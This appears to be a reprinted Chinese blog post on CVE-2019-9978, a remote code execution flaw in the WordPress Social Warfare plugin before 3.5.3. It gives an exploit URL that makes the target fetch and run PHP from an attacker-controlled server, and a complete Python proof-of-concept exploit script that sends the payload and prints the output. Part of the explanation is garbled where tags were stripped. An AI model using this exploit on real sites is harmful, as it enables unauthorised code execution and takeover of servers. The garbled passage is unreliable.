WordPress social-warfare插件XSS和RCE漏洞【CVE-2019-9978】

news2025/1/11 8:51:56

WordPress social-warfare插件XSS和RCE漏洞

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漏洞编号 : CVE-2019-9978
影响版本 : WordPress social-warfare < 3.5.3
漏洞描述 : WordPress是一套使用PHP语言开发的博客平台，该平台支持在PHP和MySQL的服务器上架设个人博客网站。social-warfare plugin是使用在其中的一个社交平台分享插件，其3.5.3之前版本存在跨站脚本攻击（XSS）和远程代码执行（RCE）漏洞。远程攻击者可借助这些漏洞，运行任意PHP代码，在无需身份验证的情况下实现对网站和服务器的控制。
攻击成功的条件只需要如下两条：
目标wordpress站点上安装有social-warfare
social-warfare插件的版本小于或等于3.5.2

该漏洞源于Social Warfare组件，并且版本<=3.5.2、且要是管理员登录状态，因此该漏洞是个后台代码执行
漏洞报告https://www.webarxsecurity.com/social-warfare-vulnerability/
利用需一台能够被访问的vps

安装好WordPress后，把social-warfare组件起用（点Activate后，会变成Settings，并在左侧目录下出现Social Warfare子目录）
在这里插入图片描述

**RCE：*

http://10.37.129.2:48904/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.100.1/1.txt

1.txt 为自己服务器上的文件可编辑执行命令
内容为：

system('cat /sys/devices/platform/serial8250/tty/ttyS2/flags /sys/devices/platform/serial8250/tty/ttyS0/flags')

剪切远程加载的代码逻辑如下,

xxxxx

会去掉

和

,如果不包含这2个标签会返回false

poc

# Title: RCE in Social Warfare Plugin ( <=3.5.2 )
# Date: March, 2019
# Researcher: Luka Sikic
# Exploit Author: hash3liZer
# Download Link: https://wordpress.org/plugins/social-warfare/
# Version: <= 3.5.2
# CVE: CVE-2019-9978

import sys
import requests
import re
import urlparse
import optparse

class EXPLOIT:

    VULNPATH = "wp-admin/admin-post.php?swp_debug=load_options&swp_url=%s"

    def __init__(self, _t, _p):
        self.target  = _t
        self.payload = _p

    def engage(self):
        uri = urlparse.urljoin( self.target, self.VULNPATH % self.payload )
        r = requests.get( uri )
        if r.status_code == 500:
            print "[*] Received Response From Server!"
            rr  = r.text
            obj = re.search(r"^(.*)<\!DOCTYPE", r.text.replace( "\n", "lnbreak" ))
            if obj:
                resp = obj.groups()[0]
                if resp:
                    print "[<] Received: "
                    print resp.replace( "lnbreak", "\n" )
                else:
                    sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
            else:
                sys.exit("[<] Nothing Received for the given payload. Seems like the server is not vulnerable!")
        else:
            sys.exit( "[~] Unexpected Status Received!" )

def main():
    parser = optparse.OptionParser(  )

    parser.add_option( '-t', '--target', dest="target", default="", type="string", help="Target Link" )
    parser.add_option( ''  , '--payload-uri', dest="payload", default="", type="string", help="URI where the file payload.txt is located." )

    (options, args) = parser.parse_args()

    print "[>] Sending Payload to System!"
    exploit = EXPLOIT( options.target, options.payload )
    exploit.engage()

if __name__ == "__main__":
    main()